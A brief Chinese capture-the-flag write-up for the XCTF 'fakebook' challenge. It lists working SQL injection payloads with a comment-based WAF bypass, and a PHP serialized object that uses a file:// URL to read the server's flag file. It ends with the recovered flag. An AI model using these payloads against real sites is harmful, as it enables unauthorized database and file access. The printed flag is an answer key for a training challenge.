攻防世界fakebook

解题思路：

1、御剑扫描--未发现线索

2、发现隐藏的robots.txt、flag.php，访问发现

站点就login和join，login一通sql注入未果

注册后查询发现“http://159.138.137.79:57307/view.php?no=1”可能存在注入点

使用order by 发现为4，使用union select注入。注：需要使用/**/union/**/select 绕过waf

?no=1 and 1=2 /**/union/**/select 1,database(),3,4

?no=1 and 1=2 /**/union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'

?no=1 and 1=2 /**/union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'

?no=1 and 1=2 /**/union/**/select 1,group_concat(data),3,4 from fakebook.users

?no=1 and 1=2 /**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

查看源码，100%'height='10em'src='data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tjMWU1NTJmZGY3NzA0OWZhYmY2NTE2OGYyMmY3YWVhYn0iOw0KZXhpdCgwKTsNCg=='>

发现flag

$flag = "flag{c1e552fdf77049fabf65168f22f7aeab}";